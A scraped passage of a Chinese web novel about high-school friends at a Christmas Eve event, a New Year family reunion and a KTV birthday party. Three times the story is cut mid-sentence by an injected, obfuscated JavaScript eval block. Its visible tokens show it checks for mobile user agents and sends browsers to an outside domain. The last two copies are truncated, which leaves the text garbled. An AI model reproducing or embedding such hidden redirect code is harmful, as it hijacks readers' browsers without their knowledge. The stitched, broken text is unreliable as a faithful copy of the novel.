他们打完招呼，又有两个新ID进群冒泡了，一个叫“随风而逝”，一个叫“PP”。 周舟有男朋友这事他们听周笃文说起过，宋西宝本能觉得这个“pp”极有可能就是周舟的男朋友。 果然，周舟介绍两人前者是她好闺蜜，后者是她男朋友。 宋西宝闹着说想看舟舟姐男朋友长什么样子，周舟开玩笑说： 【怎么，小孩你还想帮我把把关啊？】 【看看嘛，我好奇！】 又过了十几秒，PP上传了一张图片，宋西宝点开，忍不住卧槽了一声：好帅…… 宋西宝立刻私聊周舟，感叹： 【舟舟姐你男朋友好帅！】 周舟很快回复她： 【等你长大了也吃这么好的！】 大家在群里吹水聊天，女生们间或私聊些话题，最后周舟在群里安排说： 【ZZ：明天下午六点半人民公园对面麦当劳集合，姐请客吃汉堡！敲棒棒晚上八点开始，咱们吃完饭再去玩！】 43. 敲棒棒 宋爸宋妈第二天一听宋西宝说晚上要跟朋友出去过节，首先就是叮嘱她不能喝酒，其次就是要多注意安全。 听到说他们是去公园玩敲棒棒，谭淑媛问：“怎么敲？就生往人头上敲啊？那还不敲成脑残了？” 宋西宝就笑，给她妈解释说是用那种软的充气的狼牙棒，敲着玩的。 “还是危险，年轻人疯起来就没个度了，那万一有人下死手呢？万一有人用那种实心的棒敲呢？”谭淑媛越想越觉得这个活动最好不要参加，正准备说让她不要去了，又被进门的客人给打断了。 宋卫国给她使眼色，让她赶紧溜。 宋西宝比了个手势，踮起脚就跑了，等谭淑媛送完客人再想跟她说话，她人都没影了。 下午，宋西宝特意穿上了妈妈今年新给她买的大衣和格纹半裙。 今天其实有点冷，还吹风，她只穿毛衣和大衣还是有点冷的，但为了美丽，她拼了！ 临出门前，宋西宝还是认怂了，又拿了条围巾围上，然后还戴了顶跟她大衣同色系的咖色的贝雷帽。 小伙伴们在群里催她，宋西宝匆匆出门，小跑到了小区门口。 “我来了我来了！”宋西宝站定后猛喘了两口气，嘴里带出阵阵白雾。 几人看着她。 宋西宝看看这个又看看那个，最后视线落在程书逸脸上——他今天好像也穿了她没见过的新衣服，看着还挺帅的。 她突然盯着他看，把程书逸都给弄紧张了。 他偏过脸去，略微不自然地舔了舔嘴皮，但很快就忍不住视线又瞟过去看了宋西宝一眼。 她今天为什么要打扮得这么好看？ 季苒走过来拉住她手上下看了看，情不自禁道：“西宝，你今天好漂亮呀！变成淑女了！” 宋西宝老脸一红——虽然被冷风吹得不是很明显。 她不自然地清了清嗓子，忽然意识到少了个人：“博哥呢？” “接他暗恋对象去了。”周笃文说，“他说直接在麦当劳跟我们碰面。” 宋西宝啧啧道：“见色忘友啊！” 几人出发前往麦当劳。 公交车上人有点多，程书逸跟周笃文一人一半把三个女生保护了起来，程书逸看着宋西宝头顶那个发旋，脑海里又冒出来了上次那个问题——她到底用的什么味道的洗发水啊？ 三个女生小声聊着天，季苒已经从方思彤那里听说了邱俊杰的事，她打趣问宋西宝为什么不接受人家，宋西宝说：“我又不喜欢他。” 季苒下意识反问：“那你喜欢谁？” 宋西宝愣住了，第一反应： 她喜欢谁？ 她好像没有特别喜欢谁吧…… 第二反应： 如果被程书逸听到她们的对话，他会不会又皱起眉头教育她不能早恋？ 宋西宝摇头说：“我没有喜欢的人。”又反问季苒，“你呢？你在一中有没有喜欢的人？” 宋西宝本来以为像季苒这种好学生，肯定是不会跟“早恋”两个字扯在一起的，她也就是随口一问，结果万万没想到，季苒竟然点头了！脸上还出现了害羞的表情！ “谁啊？”宋西宝和方思彤好奇死了。 究竟是何方神圣竟然能让伟大的季老师弃学习成绩于不顾，心甘情愿违反校规搞早恋？ 不成想季苒却忽然神情低落下来，摇摇头，小声道：“我跟他没可能的，只是我自己一厢情愿罢了。” 还是暗恋？！ 宋西宝好奇得抓心挠肝，她问：“那男生长得帅吗？” 季苒问：“怎样算帅啊？” 宋西宝想了想，下意识把程书逸当成了模型标准：“比如他眼睛好不好看啊？鼻子够不够挺？皮肤白吗？个子高不高？说话声音好听吗？” 季苒被她这一长串问懵了，她摇头道：“他是单眼皮小眼睛，鼻子还算挺吧，皮肤比较黑，个子就比我高一点，说话声音……我也不知道算不算好听……” 宋西宝听完她的回答沉默了——季苒这是喜欢了个什么生物？ “这听上去……”宋西宝尴尬笑着想了下措辞，“好像还挺聪明啊！” 哪想季苒还真的点了头，说：“对，他特别聪明，理科学得超级好！老师都夸他是天才！” 宋西宝：“……” 那个时候还没有“智性恋”的说法，宋西宝只觉得季苒是学习得走火入魔了，看谁学习好就喜欢谁，就跟她们初中那个班主任一样。 车到了人民公园站，几人下车准备过马路，程书逸问宋西宝：“你们刚聊什么呢？你表情看着一惊一乍的。” 宋西宝一脸高深莫测地冲他摇摇头，说：“女人的事你少打听。” 程书逸：“……” 程书逸：“那女人，我请问你今天又打算吃几个汉堡呢？” 宋西宝沉思片刻，比了个“八”。 程书逸一哽，说：“你要撑死了我肯定不会打120的。” 宋西宝还问：“为什么？你不救我吗？” 程书逸嗯一声，坚定道：“不救，太丢脸了。” 他们几个是最先到的，然后是蒋博光和王琪。 王琪长得跟蒋博光描述得一模一样，BOBO头大眼睛，典型的萝莉。 蒋博光介绍大家给王琪认识，王琪表现得非常外向活泼，很快就跟另外三个女生走到了一起。 周笃文在群里发消息说他们都到了，周舟回说让他们进去坐着等，想吃什么随便点，她报销。 六点四十左右，周舟携男朋友和好闺蜜一起出现了。 几个高中生看她一手挽着一个帅哥，其中一个帅哥还留着一头飘逸的长发，雌雄莫辨，都愣了。 周舟给他们介绍，说“随风而逝”大家就叫他小风哥就好了，至于她男朋友PP，就叫PP，或者叫屁屁也行。 周笃文呆道：“小姑你闺蜜是男的啊？” 周舟点头，浑不在意：“有什么问题吗？” 周笃文猛摇头——能有什么问题，她就是带个人妖来他也不敢说有问题，他爸加他爷爷奶奶都搞不定的人物，收拾他简直易如反掌。 周舟看他们几个这阵容，忽然想到了什么，把“随风而逝”往几个小孩儿那边一推，说：“加上他，你们正好凑个三对，待会儿互相照应着。” 随风而逝超级配合，指指自己，问：“我跟谁配对？” 周舟看了一圈，朝宋西宝示意了一下，问她要不要这位小风哥哥陪她一起玩？ 宋西宝还没来得及说话，旁边程书逸突然递了块鸡翅给她，顺便抬头看了眼对面的男人。 这一眼，落在周舟和随风而逝眼里，别有意味。 就像护崽的母鸡一样。 周舟突然笑了，反悔道：“算了，你们小孩子自己玩吧。” 周笃文问：“小姑你不跟我们一起啊？” 周舟说：“待会儿玩起来乱得很，万一走散了你们就自己玩吧，我给你拿点钱，你们玩完全都打车回，到家记得跟我说一声。哦对了，不要玩太晚，十一点前到家，可以吧？” 几人都乖乖点了头。 晚七点，人民公园已经人山人海。 公园门口路两边全是卖狼牙棒的小贩，他们怕走散，又怕待会儿手机没电了或者是信号不好联系不上，特意提前定好了一个地方，约好要是走散了就去那个地方等同伴。 八点，人越来越多，警察也来了，站在门口维持着秩序。 说不清活动是怎么开始的，反正是突然之间就乱起来了。 人群骚动，棒棒乱飞。 真就被周舟说中了，一玩起来就乱了，才刚开始，她就和他们走散了。 宋西宝尖叫着拉着季苒躲进了一条小道里，结果刚进去两边草丛里唰地站起来一堆人，对着她俩就是一顿猛捶，方思彤赶来救她们，差点被人把眼镜捶飞！ 周笃文大喝一声冲过来英雄救美，结果脚下一个拌蒜，摔了个狗啃屎。 程书逸一边在心里疯狂吐槽这些敲棒的疯子，一边冲了上来。 又是一番乱战。 他们开始是在门口的广场那片玩，后面玩着玩着就进到了公园内部。 内部更疯狂。 英雄纪念碑那里俨然成了一方擂台，经常是一伙人呼啸着冲上去一伙人哗哗退下来，无数人都想冲击高台，占领据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065033|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点。 这项活动实在太费体力了，再加上公园灯光不够，有时候一个没看清，就容易被暗处埋伏的人袭击，几人很快玩累了，王琪喊着要休息，蒋博光也不知在她耳边嘀咕了什么，王琪就起身跟着他走了。 蒋博光说：“兄弟姐妹们，我们先撤了哈。” 宋西宝说：“你们这就走啦？不玩啦？” 周笃文拼命给她使眼色，宋西宝懵懵的，等蒋博光他们走后，周笃文才解释说：“博哥打算今晚给王琪告白。” “什么？！”宋西宝瞳孔地震了。 最后几人决定追上去看热闹，但在追上去的途中，他们又不幸地接连遭遇了两波伏击。 方思彤在第一波伏击中跟几人走散了，到了第二波伏击，周笃文和季苒又被冲散了。 要不是程书逸眼疾手快抓住宋西宝的手，趁乱将她带了出来，两人十有八九也要被冲散。 “完了，人都不见了。”宋西宝站在公园门口满脸茫然。 她看眼手里的狼牙棒，都漏气了。 再看程书逸——少年发型都乱了。 她噗嗤笑出声来。 程书逸一脸无语。 宋西宝越笑越大声。 “现在咋办？还回去找他们吗？”宋西宝问。 程书逸看眼混乱的公园，实在不想再经历一次了，于是摇头道：“不进去了，直接去约定好的地方等他们找过来吧。” 宋西宝说：“行。” 他们还是约在街对面的麦当劳。 宋西宝手机没电了，蹲在路边拿漏气的狼牙棒在地上乱挥，程书逸站在她旁边发消息，告诉大家他们在哪儿？ 宋西宝忽然回头看了眼身后的冰淇淋窗口，又转回来眼巴巴地望着程书逸说：“程书逸，我想吃冰淇淋。” 程书逸看眼排长队的冰淇淋，深深地叹了口长气，说：“那你别乱跑，就在这儿等我。” “嗯！”宋西宝分外乖巧地朝他点了点头。 程书逸嘴角微弯，没忍住大手一张盖在她头顶往下重重一按。 宋西宝皱眉抱怨：“帽子给我按瘪了！” 冰淇淋刚吃上，一位抱着糖葫芦棒的老人从两人面前经过，一边叫卖着：“卖糖葫芦咯！又香又甜的糖葫芦喂！” 老人的叫卖声抑扬顿挫，拉长着尾音。 宋西宝碰碰程书逸胳膊，示意他看过去，同时说：“程书逸，我发现你这人有点小气。” 刚请她吃了冰淇淋的程书逸：“？？？” “你说什么你再说一遍？” 宋西宝就看着他笑。 程书逸骂她：“小没良心的。” 宋西宝试图通过举例来证明他的小气，她一副理直气壮的样子说：“今天是平安夜，你连个平安果都没给我送，不是小气是什么？” 程书逸呵了一声，斜眼看她，语气风凉道：“不是有人送你苹果了吗？人家送了那么大一口袋，你应该接下来半个月都不缺苹果吃了吧？” 什么是阴阳怪气的男人？ 这就是！ “我知道你就是嫉妒我苹果收的比你多。”宋西宝说。 程书逸点着头笑：“你说是就是吧。” 宋西宝忽然起身往那位老人离去的方向走，程书逸跟着起身喊她：“你干嘛？” 宋西宝：“你等我一下。” 还好那位老人途中被一男一女拦下了。 宋西宝快步追上他，从草垛上取了一根草莓糖葫芦，付了钱。 程书逸蹲在原地看着她小跑回来。 “喏，回礼。”宋西宝拿出身后的草莓糖葫芦递给他。 程书逸没接，下巴微抬，双眼定定望着她。 宋西宝被他看得不自在，伸出去的手下意识地往回缩了缩。 程书逸赶在她彻底缩回去前伸手接过了草莓糖葫芦，然后状似无意道：“干嘛送我这个？不是应该送我苹果吗？” 宋西宝顺嘴接道：“你又不喜欢吃苹果，水果里面你不是最喜欢草莓和西瓜吗？” 程书逸低嗯了声，眼睛看着手里的草莓串，忽然说了句：“你记别的男生的喜好也记得这么清楚吗？” 44. 过年 程书逸的这句问话被一阵刺耳的喇叭声给淹没了。 宋西宝扭头看向旁边车道，刹车灯亮了一片，打头的一个司机脑袋探出车窗大骂道：“日你妈的仙人板板你走路不看红绿灯蛮！老子等哈儿创死你龟儿人都要给你辗烂！” 警察过去了。 宋西宝扭回头，问：“你刚说什么？” 程书逸唇边笑容很淡地摇了摇头，说：“没什么。” 走散的三人过会也找来了。 几人一碰面，周笃文就皱着眉头说：“太混乱了，我手机差点被人摸走。” 季苒说：“我也被人摸包包了，不过还好我手机是放在衣服内兜里的。” 程书逸说：“今天晚上人太多了，浑水摸鱼的人也不少，安全起见，我们还是撤吧？” 他说完看向宋西宝。 宋西宝也玩累了，并且停下来就很冷，这鬼天气，她还是宁愿回家去烤小太阳。 “走吧，撤。” 方思彤问：“那我们还去找博哥吗？” 周笃文看着手机，说：“博哥刚发消息给我说他送王琪先回去了。” 隔两秒，又来一句：“博哥说他告白失败了。” 众人为这意料之中的结局齐叹了口气。 这会儿这段路上车特别不好打，车流量大，公交车也被堵在路上，几人便决定走到前面人少的地方再打车。 结果他们这一走就走了快半小时，一路说说笑笑的，根本没意识到走了多远。 季苒左手挽着方思彤，右手挽着宋西宝，忍不住感慨道：“真想天天都跟你们在一起，要是当初我也去四中就好了。” 方思彤问：“你在一中过得不开心吗？” 季苒笑容很淡地摇摇头，又说：“我觉得我好像性格有点问题。” “你性格有什么问题？”宋西宝没明白。 季苒突然拉着她俩停下，神情认真道：“你们有没有觉得我性格太内向了？” “内向……是有一点吧，但是这也不是问题啊！”宋西宝说，“人人生而不同，有你这样的，也有我这样，还有彤姐那样的，我们每个人都不一样，这只能叫差别，不能算是问题吧？” 方思彤点头附和道：“老大说的没错，两个词的概念完全不同，差别需要辩证看待，问题是需要‘解决’的，你怎么解决你自己？你生来就这样。” “我可以改变啊！”季苒说。 “那你想改变吗？”方思彤问。 季苒低头沉思了一会儿，挽着她俩又走了起来。 街对面忽然有人指着天空大喊道：“下雪了！” 宋西宝立马抬头看天。 是的，下雪了。 云市今冬的第一场雪，落在了平安夜。 宋西宝开心地在原地转了两圈，伸手去接脆弱的雪花，她接到一片，凑近看，发现雪花原来真的跟书上画的一样，是六边形对称的。 好美啊！ “程书逸！”宋西宝跑过去想告诉他自己的发现，结果程书逸就像是知道她在想什么似的，唇边泛出一点无奈的笑，说，“是，雪花是六边形对称的，你才发现吗？笨死了。” 宋西宝撇嘴瞪了他一眼，不满地扑上去推了他一把然后跑开。 程书逸追上去要弄她，宋西宝尖叫着躲开，还拉周笃文挡着他。 寂静的街道上回荡着他们仨的笑声，季苒挽着方思彤的手站在原地笑着看向那三人，忽然说：“其实我不想改变，但我又想让别人多喜欢我一点。” 方思彤扭头看她，长大后的季苒比起小时候，多了一份沉静的美，她的目光永远充满善意和怜悯，这也许是连她自己都没意识到的。 她只看到了自己不被太阳照射的另一面。 “那你自己呢？”方思彤问。 “什么自己？” “你自己喜欢你自己吗？” 季苒又沉默了，然后点点头，再然后又摇摇头。 方思彤握了握她的手，鼓励道：“你自己先多喜欢自己一点吧。” 季苒似懂非懂地点点头，忽然笑了，看着方思彤说：“彤彤，我有时候觉得你真的很厉害。” “是吗？” “嗯！你还有西宝，你们都很厉害。” 方思彤莞尔一笑，抬手推了下眼镜说：“能跟厉害的人成为好朋友，你也很厉害。” 季苒一愣，而后蓦地笑了。 都说云市不会下雪，结果云市这场雪一下就下到了过年。 当然不是北方那种每天鹅毛大雪的下法，云市下的雪就跟老天爷站在天上撒盐似的，很小，但密。 一夜起来，大街上、路两旁树上、绿化带上倒是也能积起来雪，不过白天太阳一出来很快就化了，街面上的雪也都变成了泥水水，然后到了傍晚降温的时候，雪就又会下起来。 这一年，宋卫国和谭淑媛没再只顾着忙生意，年前腊月二十六就贴告示暂停营业了。 有熟客看见他们今年关门这么早，问是不是要赶着回乡去过年啊？ 夫妻俩就笑，说：“今年过年不回去，打算把老家的爸妈接到城里来一起过年！” 熟客点点头，又给两人比了个大拇指，边摇头道：“我们家那两个要有你们这么孝顺老人就好了哦！” 这一年新年，宋家还发生了一件大事。 他们买车了！ 其实前几年，夫妻俩就想把老人接到城里来过年，但是因为宋定邦腿不好，老爷子不想来回折腾，几次都给拒了。 今年，为了实现这一目标，早早地谭淑媛就催着宋卫国把驾照考了，然后又赶在年前去提了车。 宋西宝知道家里新添了辆车后，高兴得不行，非闹着要让她爸带她们母女俩出去兜风。 谭淑媛也说：“正好，就当给你练练手了。” 于是新手司机老宋同志载着自己的两个命根子，战战兢兢地开车去城外兜了一圈。 但是夫妻俩没想到，就算是买了车，两个老人还是不愿意来市里过年，口口声声说的都是怕给他们添麻烦。 夫妻俩琢磨了一晚上，最后把这个任务交给了女儿宋西宝，让她来劝说爷爷奶奶到市里来过年。 宋西宝当即领旨道：“爸、妈，你俩就瞧好吧！” 果不其然，宋西宝一个电话打回去，不到三分钟就把两个老人哄得眉开眼笑，连连答应说好。 谭淑媛就笑，跟宋卫国说：“看吧，咱俩说啥都不好使，还是得你闺女出马。” 腊月二十七这天，一家三口开车回老家把两位老人接来了云市。 宋定邦和隋玉棠这辈子都没出过新阳县，隋玉棠更是连汽车都没坐过几回，她怕晕车，听隔壁的李嫂子说晕车可以闻生姜，于是她出门前特意握了一大块生姜在手里，谭淑媛见了，说：“妈，我准备了晕车药，要不你跟爸提前吃颗药？” 宋定邦一听要吃药，当即便要反悔说不去了。 隋玉棠也说，自己有生姜，晕车闻一闻，嘴巴里咬一块含着就好了，不吃药。 谭淑媛没法，只好把晕车药收了回去，然后让宋卫国路上尽量开慢点、开稳点。 车出新阳县，老两口好奇地看着车窗外的风景，宋定邦不住咂舌道：“现在这些路修得才好！我们那会儿哪有这么好的路哦！” 老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋西宝忽然有点心酸，眼眶也跟着发酸，她忽然停住脚蹲了下去，然后仰头眼睛亮晶晶地望着爷爷。 “爷爷，摸头。”宋西宝说。 宋定邦笑呵呵地摸了摸她头，隋玉棠在旁边笑，拉着孙女的手晃：“多大人了哦，还撒娇。” 身后的宋卫国和谭淑媛目睹这一幕，也都不自觉露出了欣慰的笑容。 民间有谚：腊月二十七，宰鸡赶大集。 市里没有像县城或农村那样的大集，人们的赶集方式就是往各大购物中心跑。 下午，宋卫国开车带着一家人到了一家购物中心。 他们车停在地下，下车时，老两口还有点怕，看周围黑漆漆的一团，问这是到哪里来了？ 宋西宝就给他们解释，后面坐扶梯的时候，隋玉棠害怕，磨蹭了半天才敢站上去，她生怕没踩上，身体还小跳了一下。 宋西宝啪啪给她鼓掌，说奶奶您这身手真厉害！ 惹得隋玉棠哭笑不得。 他们从商场一楼逛到顶楼，买了不少东西，老两口目不暇接，一路都在惊叹，既惊叹这里的东西这么好，又惊叹这里的价格昂贵。 他们看什么都觉得新鲜，就连一块楼层导览牌，老两口都能看半天。 奶奶识字不多，爷爷就边看边教她认字，告诉她意思。 宋西宝一点不耐烦都没有。 相反，她看着一把年纪，头发都花白了的爷爷奶奶，心情很复杂。 她突然理解了爸妈坚持要带爷爷奶奶到市里来过年的想法——那是一种，我看到了更丰富更美好的世界，我希望我爱的人也能走出来看看这一切，感受这份美好和丰富的心情。 宋西宝在心里暗自发誓，将来她一定要努力挣钱，带爷爷奶奶去看更多美好漂亮的城市！ 45. KTV 除夕夜，谭淑媛把古晓琴和程书逸母子俩也叫来了家里一起过年。 开始古晓琴还不愿意，说好不容易老人家来一趟，不能打搅他们一家人团年，后来谭淑媛直接把电话给了隋玉棠，古晓琴就没得说了，只能乖乖上门来跟他们一起团年。 打电话的时候，隋玉棠说的是让他们一家人都来，谭淑媛一听，忙跑去问宋西宝，这才知道，老两口还不知道程方舟去世的消息。 “上回你带小逸回去，你奶奶没问吗？”谭淑媛问。 宋西宝为难道：“奶奶是问了一句，我当时想解释来着，程书逸没让我说。” 谭淑媛：“这么回事啊……” 电话挂断后，谭淑媛专门跟两个老人去说了这事，就怕待会儿饭桌上说到不该说的话题，徒增尴尬。 老太太心软，眼窝又浅，听完抹了好几回泪。 中午十一点半，古晓琴带着程书逸来敲门了。 宋西宝嘴里塞着砂糖橘，含糊不清地喊：“来了！”然后起身的时候差点被拖鞋绊一跤。 “你慢点！”老太太喊。 宋西宝傻笑一声，跑过去把门打开了。 家里人都跟着起身来迎客了，大人们手拉着手好一阵寒暄，宋西宝站旁边背靠着墙，偷偷打量程书逸—— 他今天又穿新衣服了，真好看。 宋西宝忽然反应过来自己现在正穿着睡衣，她暗自懊恼一声，正犹豫要不要回卧室去换身衣服，忽然一个购物袋塞了过来，古晓琴说：“……谁说给你了！我给西宝买的！” 宋西宝看看大人们，又低头看看怀里的东西。 古晓琴说：“阿姨上个月去北京出差，看这条裙子好看，就给你买了，一直都没时间给你，你快看看喜不喜欢？” “谢谢晓琴阿姨！”宋西宝高兴地打开纸袋，取出里面的裙子。 这是一条草绿色的吊带碎花裙，碎花的纹样很好看，裙长大概到她膝盖往上一点，胸口处还加了一圈精致的立体花边。 古晓琴说：“里面还有个针织小外套，搭配裙子一起穿的，这衣服你现在穿不合适，等到了明年春夏天就可以穿了。” 宋西宝很喜欢这条裙子，但是她现在长大了，也懂一些人情往来了，她做不到再像小时候那样理所当然地直接收下礼物，第一反应是先去看妈妈的态度。 谭淑媛说：“既然是你晓琴阿姨专门给你买的的，你就收下吧。说谢谢。” 宋西宝就抱着裙子乖乖道：“谢谢晓琴阿姨！” 古晓琴摸一把她的脸，也笑道：“不用谢乖乖。” 大人们坐沙发那儿去喝茶叙话了，宋西宝回到卧室站在镜子跟前比划裙子，忽然注意到身后程书逸正靠在门口看她，宋西宝难得羞窘，回头瞪他道：“你干嘛？想偷进女生房间啊！” 程书逸双手摊开，无辜道：“我还没进来呢。” 宋西宝把裙子重新叠好放回袋子里，这时程书逸忽然说：“你最好把它挂起来，叠久了就有印子了。” 宋西宝一想，也是哦。 她又把裙子拿出来挂，挂衣服的时候，也不知道怎么想的，忽然扭头问：“你觉得我穿这条裙子会好看吗？” 卧室没开灯，全靠窗外的自然光线。 宋西宝穿着毛茸茸的一身，头发随意扎起挽成坨，白皙的鹅蛋脸微微侧着，被光照出了一层绒粉。 就像朵软嘟嘟的蘑菇。 程书逸视线偏开，没有正面回答，而是说：“我妈挑的衣服就没有难看的。” 宋西宝点点头，说：“有道理。” 午饭异常丰盛，宋西宝从卧室找出自拍杆，给两家人来了个大合影，她拍完检查了一下，嘟起嘴巴说：“爸爸，你闭眼睛了！” 宋卫国：“哦哦，不好意思不好意思，那再来一遍嘛！” 宋西宝又把杆子伸出去，对着镜头咧嘴笑，喊：“一、二、三——茄子！” “茄子！”大家都跟着喊。 这回照片检查没问题了。 宋西宝取下手机给爷爷奶奶看，然后又把照片发在了他们的小群里： 【最近爱吃炸土豆：兄弟姐妹们！开饭啦开饭啦！】 程书逸拿出手机，悄悄把宋西宝上传的照片点了保存。 群里消息刷得很快，都在晒各家美食。 这时，谭淑媛忽然举杯道：“来，我们还是一起碰一杯嘛！” 大家纷纷举杯，谭淑媛率先发言道：“祝爸妈新的一年身体健健康康！祝两个小朋友学习进步！天天开心！哦对，还要祝我们晓琴！工作顺利！赚大钱！” 古晓琴说：“那我也要祝你们生意兴隆！发大财！” 宋卫国跟老婆叫屈道：“你谁都祝了，那我呢？” 一桌人都笑，宋定邦假装厉色道：“你是什么了不得的人物吗？还要专门祝一下你哦！” 隋玉棠拉了一把老头儿，说：“人家年轻人开玩笑，你不要随便插嘴。” 这时，宋西宝又站起身道：“我祝爸爸妈妈新的一年身体健康！感情和睦！多多赚钱钱好给我花！” 一桌人纷纷笑起来，宋西宝赶忙说：“我还没说完呢！我还要祝爷爷奶奶身体健康！福寿绵长！每天吃嘛嘛香！笑口常开！然后多多想我！” “好好！”老两口眯着眼应。 “最后，我要祝晓琴阿姨，祝你拥有更广阔的世界和更丰富的生命！祝你天天都幸福，永远没烦恼！” 古晓琴眼眶微湿，豪气地与她碰了一杯道：“好！谢谢宝贝！” “好了，我说完了。”宋西宝准备坐下。 谭淑媛提醒她：“是不是还少祝了一个人哦？” “有吗？”宋西宝假装不知道。 坐在隔壁的程书逸突然猛地清了清嗓子。 大人们都笑而不语，端着杯子看他们两个小家伙演戏。 宋西宝哈哈一笑，同程书逸碰了下杯子道：“祝程书逸永远都能拥有我这么好的朋友！” “好自恋哦宋西宝。”老妈揶揄她。 大人们纷纷说笑起来，程书逸藏不住笑，轻轻跟宋西宝碰了个杯。 祝福的话说完，谭淑媛摆手道：“吃饭吃饭！动筷！” 席间气氛一时更加热闹起来。 美好的寒假生活转瞬即逝。 新学期开学头一晚，宋西宝又躲在被窝里狂补寒假作业。 章楚楚把试卷一张张拍照传给她，宋西宝一边抄一边打字向她道谢道： 【谢谢班长大人救我狗命，来生一定当牛做马报答您老人家！】 章楚楚回她： 【别贫了，快抄吧，这都十二点多了，我给你发完就去睡觉了。】 宋西宝咬着笔双手飞快按道： 【你要睡觉了？我不信，你前天追的那本小说看完了？】 【没有！！我追到一半被评论区剧透说全死完了，太虐了我不敢看了，我决定放弃了呜呜……】 【怕什么？全死等于HE啊班长！】 【屁！反正我再也不看虐文了，我要开始寻觅甜文妈妈的怀抱，我要吃甜文！大吃特吃！】 宋西宝又跟章楚楚聊了一个多小时才放下手机，她欠的作业实在太多了，最后一直补到凌晨四点多才补完。 开学第一天，宋西宝看着校门口“云市第四中学”几个烫金大字，深深地叹了口长气。 经过高一上半学期的打磨，她已经对剩下两年半的高中生活彻底失去了期待。 高中三年，看上去比小学六年和初中三年还没盼头，学业越来越重，能玩的时间也越来越少，并且还有个“高考”的牌子悬在前方等待他们去认领，一旦没认领上，人生仿佛就彻底失去了希望。 这样的生活，听上去就究极无聊。 开学第一天，宋西宝的厌学情绪直接达到了顶峰！ 但日子也不是完全没有盼头的，这学期有夏季运动会，宋西宝听高二的说，运动会一般要开三天，这期间他们不用上课，也不用做作业，就是玩！ 宋西宝每天都希望第二天睁眼就来到五月份开运动会的时间，但她越是期待，日子就过得越是缓慢，直到三月下旬发生了一件事，转移了她的注意力。 这事发生在程书逸生日那天。 因为程书逸生日是17号，但不巧， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这次拒绝他之后，王琪干脆连朋友都不跟他做了，蒋博光告白完第二天发消息给她才发现自己已经被她拉黑了。 周笃文好奇问：“你说她跟你说了让人误会的话，她都说什么了？” 蒋博光有些扭捏，抱着啤酒瓶只管猛灌。 周笃文又问了一遍：“她到底说什么了啊？你得说出来我们才能帮你分析啊！” 蒋博光说：“她说我人很好，她很喜欢跟我一起玩，还说觉得我对她也很好。” “还有呢？” “还有什么？” “就没啦？” 蒋博光摇头：“差不多就是这些话。” 一旁的宋西宝忍不住插话道：“博哥，你这是被发好人卡了，并不是说人家看上你了。” 蒋博光问：“什么是好人卡？” 宋西宝给他科普了一下。 蒋博光听完，嘴巴一撇，差点抱着酒瓶哭出来：“她天天乱给我发卡干嘛啊！我不要她的卡！我才不是好人呢！” 宋西宝差点没忍住笑出了声，程书逸憋着笑，上前拍了拍蒋博光肩膀道：“博哥，你要坚强。” 结果蒋博光直接扑程书逸怀里哭上了，边哭边喊：“老程啊，要是我长你这样就好了！王琪她肯定喜欢我！她就喜欢帅哥！她天天在杂志上看帅哥！呜呜呜呜呜……” “噗——”宋西宝到底还是没忍住笑了出来。 程书逸无奈极了，只能给他拍背安慰他：“没事，天涯何处无芳草，何必单恋一枝花呢？” “我就要这支花！别的花我不喜欢我不要！”蒋博光越嚎越大声。 程书逸：“……” 宋西宝实在忍不住了，抱着肚子笑歪倒在沙发上。只是笑着笑着，忽然间她好像又听到还有别人在哭…… 宋西宝扭头往沙发另一边看去，才发现季苒不知道什么时候又哭上了…… “季苒？你怎么哭了？？”宋西宝和方思彤赶忙坐了过去。 宋西宝来到季苒身边问：“季苒，你怎么了？” 季苒哭得脸上乱七八糟地，鼻子都哭红了，抽抽噎噎的一句完整的话都说不出来。 宋西宝和方思彤互相对视一眼，方思彤摇摇头，表示自己也不清楚她怎么突然哭了。 宋西宝小声问方思彤：“难道季苒也给她喜欢的那个男生告白了？然后那个男生把她拒绝了？” 方思彤想了想，点头道：“有可能。” 宋西宝火气一下就起来了：“凭什么啊！他自己长成那样！还敢拒绝季苒！他谁啊！” 46. 欺负 好好的生日会最后变成了悲伤开会。 季苒哭得鼻子都堵了，还被蒋博光撺掇着喝了半瓶酒。 她一个从不喝酒的人，半瓶下肚人就有点晕了，胡闹起来抱着酒瓶不撒手，谁要都不给。 最后蒋博光带着她一人一个话筒靠在一起唱歌，两人唱得都不在调上，纯纯折磨另外几个人。 宋西宝虽然什么都没问出来，但直觉季苒肯定是遇到了什么难事才会这样。 是什么难事呢？家里的事还是学校的事？ 几个尚且清醒的人围在一起商量，方思彤说：“应该不是家里的事，季苒家早没有亲戚来往了，大家都住一个院儿里，要有什么事咱们早就知道了，我估计应该还是她在学校里遇到了什么事。” 宋西宝点头道：“有道理。既然她不想说，那就只能我们自己想办法打听一下了。” 周笃文忙道：“这个好办，我在一中有认识的朋友，可以找他们帮忙打听一下。” 宋西宝一脸凝重地拍拍他肩，说：“师爷，靠你了！” 周笃文：“放心吧。” 周笃文找的这个人叫李雅阳，是个男生，小学跟周笃文他们几个是同班同学，现在正好就在一中读书。 这些年，周笃文一直没跟他断了联系，前阵子李雅阳过生日，周笃文还送了他一个很难买的汽车模型当礼物，两人交情还算不错。 李雅阳听周笃文说明来意后，拍着胸脯给他保证说肯定帮他办好。 一个礼拜后，李雅阳把周笃文单独约了出来，跟他汇报了自己打听到的情况。 “其实也不是我打听到的，因为一中管的特别严，我们去食堂吃饭都有老师巡逻，不让我们男女生同座，所以她们女生那边的事，我也不太好打听。”李雅阳说。 周笃文表示理解，又问：“然后呢？” 